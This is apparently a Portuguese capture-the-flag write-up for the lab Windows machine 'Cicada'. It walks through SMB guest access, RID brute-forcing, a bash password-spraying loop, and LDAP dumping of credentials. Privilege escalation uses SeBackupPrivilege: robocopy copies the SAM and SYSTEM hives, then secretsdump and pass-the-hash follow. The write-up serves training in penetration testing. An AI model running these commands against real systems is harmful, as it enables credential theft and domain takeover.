Essa é uma máquina Windows classificada de dificuldade fácil que envolve a exploração básica de um Active Directory. De início, foi necessário identificar o serviço SMB em execução, e então obter uma pasta compartilhada disponível publicamente que continha uma senha. Após isso, foi necessário enumerar usuários por meio de RID brute-force e então realizar um ataque de password spraying para obter credenciais válidas. Com isso, foi possível utilizar o ldapdomaindump para extrair informações sobre o Active Directory, possibilitando encontrar outras credenciais válidas. A partir dessas credenciais, foi possível listar outra pasta compartilhada no SMB, dessa vez com as credenciais do usuário emily.oscars, o qual permitia acesso via WinRM, possibilitando acesso remoto e encontrar a primeira flag. Para escalar privilégio, foi possível explorar o privilégio SeBackupPrivilege do usuário autenticado para extrair o hash do usuário administrador do sistema.
Reconhecimento
Realizei uma varredura de portas TCP com o nmap para identificar os serviços em execução, o que possibilitou encontrar as seguintes portas respondendo:
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-07 17:13:33Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
62741/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Analisando a resposta, esses são serviços comuns de se encontrar em um servidor Windows e estão relacionados ao Active Directory. Dentre os serviços disponíveis, as portas 139 e 445 indicam a presença de um servidor SMB. Acessando como usuário convidado (guest), os seguintes compartilhamentos são listados:
Perceba que o usuário convidado tem permissão de leitura à pasta compartilhada HR. Listando o conteúdo compartilhado, é possível encontrar um arquivo Notice from HR.txt:
É possível baixar esse arquivo com o seguinte comando:
Listando o conteúdo do arquivo, é possível encontrar a seguinte mensagem informando a senha padrão de um usuário não identificado:
Com a senha de um usuário ainda não identificado, foi necessário varrer o Active Directory em busca de possíveis usuários para tentar combinar com a senha. Utilizando o crackmapexec por meio do seguinte comando:
Com uma lista de usuários, agora basta realizar um ataque de password spraying em busca de uma combinação de usuário e senha válidos. Desenvolvi um breve script em BASH para automatizar essa tarefa, utilizando os usuários obtidos e o crackmapexec para validar as credenciais:
USERS=$(grep 'CICADA\\' crackmapexec/rid-brute | awk '{print $6}' | cut -d '\' -f 2 | sort -u)
for user in ${USERS}; do
crackmapexec smb 10.10.11.35 -u "${user}" -p 'Cicada$M6Corpb*@Lp#nZp!8' | grep '[+]' 2> /dev/null | tee crackmapexec/password-spray;
done
Mesmo filtrando apenas os resultados válidos, o script retornou diversos falsos positivos:
Observe que dentre os resultados obtidos, o usuário michael.wrightson se destaca por ser dentre os únicos da lista que foi adicionado por um administrador, não sendo um usuário padrão. Por conta disso, utilizei ele para tentar fazer login em outros serviços (nesse caso, o LDAP) e tive sucesso.
Usuário david.orelious
Utilizando a ferramenta ldapdomaindump, obtive os seguintes resultados:
Analisando o resultado do arquivo domain_users.json, é possível encontrar a senha do usuário david.orelious:
Usuário emily.oscars
Novamente utilizando o SMBMap, mas dessa vez com as credenciais do usuário David, é possível identificar uma permissão de leitura da pasta compartilhada DEV.
Nela, está contido um script PowerShell com o seguinte conteúdo:
Com as credenciais do usuário emily.oscars, é possível se autenticar remotamente por meio do protocolo WinRM. Utilizando a ferramenta evil-winrm, acessei a máquina e obtive a flag de usuário:
Escalação de Privilégios
Listando as informações sobre o usuário emily.oscars por meio do comando whoami /all, é possível encontrar os seguintes privilégios:
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled <
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
É possível escalar privilégio utilizando a permissão SeBackupPrivilege. Utilizando os seguintes comandos, é possível criar um diretório C:\Temp e copiar os arquivos SAM e SYSTEM utilizando o robocopy:
mkdir C:\Temp
robocopy /b C:\Windows\System32\Config C:\Temp SAM
robocopy /b C:\Windows\System32\Config C:\Temp SYSTEM
Com isso, é possível baixar os arquivos na máquina local por meio do comando download do evil-winrm, e extrair os hashes por meio do secretsdump.py, script disponível por meio do ImPacket.
Por fim, basta se autenticar por meio do evil-winrm como usuário administrador utilizando a técnica de Pass The Hash.